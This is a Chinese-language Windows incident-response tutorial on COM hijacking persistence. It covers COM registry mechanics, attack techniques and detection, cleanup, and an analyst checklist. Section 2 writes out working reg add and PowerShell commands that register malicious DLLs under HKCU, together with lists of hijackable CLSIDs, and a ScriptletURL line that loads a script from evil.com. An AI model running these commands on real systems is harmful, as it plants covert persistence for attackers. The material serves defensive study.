Windows应急响应 - 23 COM劫持

Windows应急响应/23-COM劫持

tags:: #Windows应急响应 #持久化 #COM劫持 #COMHijacking #Backdoor
category:: 持久化与后门检测
difficulty:: 高级
platform:: Windows 7/10/11, Server 2012-2022

概述

COM (Component Object Model) 劫持是一种利用Windows COM注册机制实现持久化的技术

通过在HKCU中注册恶意COM对象,覆盖HKLM中的合法注册,无需管理员权限

MITRE ATT&CK: T1546.015 - Event Triggered Execution: Component Object Model Hijacking

隐蔽性极高: 无需创建服务、计划任务或Run Key

很多安全工具和应急人员不了解COM劫持,导致检测率低

参考: 09-注册表持久化审计 中注册表审计方法

一、COM基础知识

1.1 COM对象标识

CLSID (Class Identifier)

全局唯一标识符,格式: {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}

每个COM对象都有一个唯一的CLSID

注册在: HKLM\SOFTWARE\Classes\CLSID\{...}HKCU\SOFTWARE\Classes\CLSID\{...}

ProgID (Programmatic Identifier)

人类可读的名称,如 Excel.Application

映射到CLSID

AppID (Application Identifier)

用于DCOM配置

1.2 COM服务器类型

InprocServer32(进程内服务器)

DLL形式,加载到调用进程空间

注册表值: HKLM\SOFTWARE\Classes\CLSID\{...}\InprocServer32

(Default) = DLL路径

ThreadingModel = Apartment / Free / Both / Neutral

LocalServer32(本地服务器)

EXE形式,独立进程运行

注册表值: HKLM\SOFTWARE\Classes\CLSID\{...}\LocalServer32

(Default) = EXE路径

InprocHandler32

自定义处理器DLL

较少使用

1.3 COM注册表搜索顺序

Windows查找COM对象时的搜索顺序:

1
2
1. HKCU\SOFTWARE\Classes\CLSID\{...}    ← 用户级(优先)
2. HKLM\SOFTWARE\Classes\CLSID\{...} ← 系统级

关键: HKCU优先于HKLM

这意味着普通用户(无管理员权限)可以通过在HKCU中注册来覆盖系统级COM对象

这就是COM劫持的核心原理

二、COM劫持攻击手法

2.1 HKCU InprocServer32劫持

最基础的COM劫持——在HKCU中注册恶意DLL:

1
2
3
4
:: 劫持一个常用的COM对象
:: 例如: {B5F8350B-0548-48B1-A6EE-88BD00B4A5E7} — CAccPropServicesClass
reg add "HKCU\SOFTWARE\Classes\CLSID\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Public\evil.dll" /f
reg add "HKCU\SOFTWARE\Classes\CLSID\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Both" /f

PowerShell方式:

1
2
3
4
5
6
$clsid = "{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}"
$regPath = "HKCU:\SOFTWARE\Classes\CLSID\$clsid\InprocServer32"

New-Item -Path $regPath -Force
Set-ItemProperty -Path $regPath -Name "(Default)" -Value "C:\Users\Public\evil.dll"
Set-ItemProperty -Path $regPath -Name "ThreadingModel" -Value "Both"

当任何程序调用CoCreateInstance创建该CLSID的实例时,会加载恶意DLL

2.2 劫持高频COM对象

选择频繁被调用的COM对象可以确保payload快速执行:

explorer.exe启动时加载的COM对象:

1
2
3
4
{BCDE0395-E52F-467C-8E3D-C4579291692E}  — MMDeviceEnumerator
{42aedc87-2188-41fd-b9a3-0c966feab5f8} — Shell automation InProcServer (MruPidlList)
{C8B522CF-5CF3-11CE-ADE5-00AA0044773D} — OLE DB Root Enumerator
{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D} — MSXML

iexplore.exe / Edge / 浏览器加载的COM对象:

1
{90C35AF4-2F24-4F74-9087-4C0EFB84A8EA}  — URL Search Hook

验证COM对象是否被频繁调用:

1
2
3
4
# 使用Process Monitor过滤COM相关注册表访问
# Filter: Operation = RegOpenKey
# Path contains: CLSID
# 观察哪些CLSID被频繁查询

2.3 劫持不存在/已废弃的COM对象

某些程序尝试实例化已被移除或不存在的COM对象

这些CLSID在HKLM中没有注册,攻击者可以在HKCU中注册来”填空”

发现方法:

1
2
3
4
5
6
# 使用Process Monitor
# Filter:
# Operation = RegOpenKey
# Result = NAME NOT FOUND
# Path contains = \CLSID\
# 这些就是"孤儿CLSID"——可以被劫持

优势: 不会影响任何合法功能,因为原始COM对象本身就不存在

已知的可劫持孤儿CLSID (Windows 10/11):

1
2
3
{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}  — Thumbnail Cache
{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA} — ShellWindows
{fbeb8a05-beee-4442-804e-409d6c4515e9} — Shell thumbnail cache

2.4 计划任务COM Handler劫持

Windows有一些使用COM Handler的内置计划任务:

1
2
3
4
5
6
7
8
9
10
11
12
# 查找使用COM Handler的计划任务
Get-ScheduledTask | ForEach-Object {
$task = $_
$task.Actions | Where-Object { $_.CimClass.CimClassName -eq 'MSFT_TaskComHandlerAction' } | ForEach-Object {
[PSCustomObject]@{
TaskName = $task.TaskName
TaskPath = $task.TaskPath
ClassId = $_.ClassId
Data = $_.Data
}
}
} | Format-Table -AutoSize

常见可劫持的计划任务COM:

1
2
3
4
5
6
7
# CacheTask — 用户登录时触发
Task: \Microsoft\Windows\Wininet\CacheTask
CLSID: {0358B920-0AC7-461F-98F4-58E32CD89148}

# CertificateServicesClient-AutoEnrollment
Task: \Microsoft\Windows\CertificateServicesClient\UserTask
CLSID: {58FB76B9-AC85-4E55-AC04-427593B1D060}

劫持方法:

1
2
3
:: 劫持CacheTask的COM Handler
reg add "HKCU\SOFTWARE\Classes\CLSID\{0358B920-0AC7-461F-98F4-58E32CD89148}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Public\payload.dll" /f
reg add "HKCU\SOFTWARE\Classes\CLSID\{0358B920-0AC7-461F-98F4-58E32CD89148}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Both" /f

当计划任务触发时,Task Scheduler会实例化该CLSID,加载恶意DLL

2.5 TreatAs / ScriptletURL劫持

TreatAs子键: 将一个CLSID重定向到另一个:

1
reg add "HKCU\SOFTWARE\Classes\CLSID\{LegitCLSID}\TreatAs" /ve /t REG_SZ /d "{MaliciousCLSID}" /f

ScriptletURL: 某些COM对象支持从URL加载脚本:

1
2
3
reg add "HKCU\SOFTWARE\Classes\CLSID\{TargetCLSID}\InprocServer32" /ve /t REG_SZ /d "scrobj.dll" /f
reg add "HKCU\SOFTWARE\Classes\CLSID\{TargetCLSID}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Both" /f
reg add "HKCU\SOFTWARE\Classes\CLSID\{TargetCLSID}\ScriptletURL" /ve /t REG_SZ /d "http://evil.com/payload.sct" /f

三、检测方法

3.1 Autoruns检查

Autoruns可以检测COM劫持:

1
2
:: 运行Autoruns命令行版本
autorunsc.exe -a * -m -s -h -c -nobanner > autoruns_all.csv

在GUI版本中,查看”Explorer”和”Scheduled Tasks”标签

重点关注: HKCU下注册的InprocServer32覆盖了HKLM中的条目

标记为”红色/黄色”的条目需要重点检查

3.2 枚举HKCU COM注册

大多数合法软件不会在HKCU下注册COM对象

HKCU\SOFTWARE\Classes\CLSID下的条目都应该被审查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 枚举所有HKCU COM注册
$hkcuClsid = "HKCU:\SOFTWARE\Classes\CLSID"

if (Test-Path $hkcuClsid) {
Get-ChildItem $hkcuClsid | ForEach-Object {
$clsid = $_.PSChildName
$inproc = "$($_.PSPath)\InprocServer32"
$local = "$($_.PSPath)\LocalServer32"

$dllPath = $null
$exePath = $null

if (Test-Path $inproc) {
$dllPath = (Get-ItemProperty $inproc -Name "(Default)" -ErrorAction SilentlyContinue)."(Default)"
}
if (Test-Path $local) {
$exePath = (Get-ItemProperty $local -Name "(Default)" -ErrorAction SilentlyContinue)."(Default)"
}

# 检查HKLM中是否有对应的合法注册
$hklmPath = "HKLM:\SOFTWARE\Classes\CLSID\$clsid"
$isOverride = Test-Path $hklmPath

[PSCustomObject]@{
CLSID = $clsid
InprocServer32 = $dllPath
LocalServer32 = $exePath
OverridesHKLM = $isOverride
}
} | Format-Table -AutoSize -Wrap
}

关键指标: 如果OverridesHKLM为True,说明HKCU注册覆盖了系统注册

3.3 对比HKCU与HKLM

深入对比分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 检查HKCU COM注册是否覆盖HKLM
$hkcuClsids = Get-ChildItem "HKCU:\SOFTWARE\Classes\CLSID" -ErrorAction SilentlyContinue

$hijacked = foreach ($item in $hkcuClsids) {
$clsid = $item.PSChildName
$hklmKey = "HKLM:\SOFTWARE\Classes\CLSID\$clsid\InprocServer32"
$hkcuKey = "HKCU:\SOFTWARE\Classes\CLSID\$clsid\InprocServer32"

if ((Test-Path $hklmKey) -and (Test-Path $hkcuKey)) {
$hklmDll = (Get-ItemProperty $hklmKey -ErrorAction SilentlyContinue)."(Default)"
$hkcuDll = (Get-ItemProperty $hkcuKey -ErrorAction SilentlyContinue)."(Default)"

if ($hklmDll -ne $hkcuDll) {
[PSCustomObject]@{
CLSID = $clsid
HKLM_DLL = $hklmDll
HKCU_DLL = $hkcuDll
Status = "HIJACKED"
}
}
}
}

if ($hijacked) {
Write-Host "[!] COM Hijacking Detected:" -ForegroundColor Red
$hijacked | Format-Table -AutoSize -Wrap
} else {
Write-Host "[+] No COM hijacking detected." -ForegroundColor Green
}

3.4 注册表监控

Sysmon Event ID 12/13/14监控COM注册表写入:

1
2
3
4
5
6
7
<RegistryEvent onmatch="include">
<TargetObject condition="contains">\Classes\CLSID\</TargetObject>
<TargetObject condition="contains">\InprocServer32</TargetObject>
<TargetObject condition="contains">\LocalServer32</TargetObject>
<TargetObject condition="contains">\TreatAs</TargetObject>
<TargetObject condition="contains">\ScriptletURL</TargetObject>
</RegistryEvent>

查询Sysmon事件:

1
2
3
4
5
6
7
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-Sysmon/Operational'
Id = 12,13
} | Where-Object {
$_.Message -match "\\Classes\\CLSID\\" -and
$_.Message -match "HKCU"
} | Select-Object TimeCreated, Id, Message | Format-List

3.5 进程加载DLL验证

检查运行中的进程是否加载了来自HKCU COM注册的DLL:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 获取HKCU中注册的所有COM DLL
$hkcuDlls = @()
Get-ChildItem "HKCU:\SOFTWARE\Classes\CLSID" -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.PSChildName -eq "InprocServer32" } |
ForEach-Object {
$dll = (Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue)."(Default)"
if ($dll) { $hkcuDlls += $dll.ToLower() }
}

if ($hkcuDlls.Count -gt 0) {
Write-Host "HKCU COM DLLs: $($hkcuDlls -join ', ')" -ForegroundColor Yellow

# 检查哪些进程加载了这些DLL
Get-Process | ForEach-Object {
try {
$_.Modules | Where-Object {
$hkcuDlls -contains $_.FileName.ToLower()
} | ForEach-Object {
Write-Host "[!] PID $($proc.Id) ($($proc.ProcessName)) loaded: $($_.FileName)" -ForegroundColor Red
}
} catch {}
}
}

四、真实案例

4.1 Fancy Bear (APT28)

APT28使用COM劫持实现持久化:

1
2
CLSID: {B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}
InprocServer32: C:\Users\<user>\AppData\Roaming\Microsoft\<folder>\<payload>.dll

该CLSID在系统调用辅助功能时会被加载

每次用户会话启动都会触发

4.2 Dridex银行木马

Dridex广泛使用COM劫持:

1
2
3
# 劫持多个CLSID
HKCU\SOFTWARE\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32
= C:\Users\<user>\AppData\Local\<random>.dll

每次Explorer启动时自动加载

4.3 Cobalt Strike

Cobalt Strike的COM劫持模块:

1
2
3
# 支持自动发现和劫持COM对象
# Aggressor Script中的beacon命令
beacon> com_hijack {CLSID} C:\payload.dll

通常选择Explorer启动时加载的COM对象

五、清除与修复

5.1 删除HKCU COM劫持条目

删除恶意COM注册:

1
2
3
4
5
6
7
8
# 删除整个CLSID下的HKCU注册
$malClsid = "{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}"

# 先导出证据
reg export "HKCU\SOFTWARE\Classes\CLSID\$malClsid" "C:\IR_Evidence\com_hijack_$malClsid.reg"

# 删除
Remove-Item "HKCU:\SOFTWARE\Classes\CLSID\$malClsid" -Recurse -Force

批量清除所有HKCU COM劫持:

1
2
3
4
5
6
7
8
9
10
11
# 列出所有HKCU中覆盖HKLM的COM注册
Get-ChildItem "HKCU:\SOFTWARE\Classes\CLSID" -ErrorAction SilentlyContinue | ForEach-Object {
$clsid = $_.PSChildName
if (Test-Path "HKLM:\SOFTWARE\Classes\CLSID\$clsid") {
Write-Host "[*] Override found: $clsid" -ForegroundColor Yellow
# 导出后删除
reg export "HKCU\SOFTWARE\Classes\CLSID\$clsid" "C:\IR_Evidence\com_$clsid.reg" /y 2>$null
Remove-Item $_.PSPath -Recurse -Force
Write-Host " [+] Removed." -ForegroundColor Green
}
}

5.2 删除恶意DLL

在清除注册表后,删除恶意DLL文件:

1
2
3
4
5
6
7
8
9
$malDll = "C:\Users\Public\evil.dll"

# 确认没有进程在使用
Get-Process | Where-Object {
$_.Modules.FileName -contains $malDll
} | Stop-Process -Force

# 删除
Remove-Item $malDll -Force

六、关联检查

COM劫持通常与以下内容关联:

09-注册表持久化审计 — 注册表审计基础方法

22-DLL劫持与侧加载 — 都涉及DLL加载劫持

19-计划任务后门 — COM Handler计划任务

21-WMI事件订阅后门 — WMI可以触发COM实例化

25-IFEO与AppInit-DLLs后门 — 都是注册表级别的持久化

七、应急响应Checklist

[ ] 枚举 HKCU\SOFTWARE\Classes\CLSID\ 下所有条目

[ ] 检查HKCU COM注册是否覆盖了HKLM中的合法注册

[ ] 检查InprocServer32指向的DLL文件签名和Hash

[ ] 检查LocalServer32指向的EXE文件签名

[ ] 检查TreatAs和ScriptletURL子键

[ ] 使用Autoruns扫描COM劫持

[ ] 检查Sysmon注册表事件中的CLSID写入

[ ] 检查使用COM Handler的计划任务

[ ] 验证所有HKCU COM DLL是否正在被进程加载

[ ] 导出证据后清除恶意COM注册和DLL文件


上一章 目录 下一章
22-DLL劫持与侧加载 Windows应急响应 24-启动文件夹与快捷方式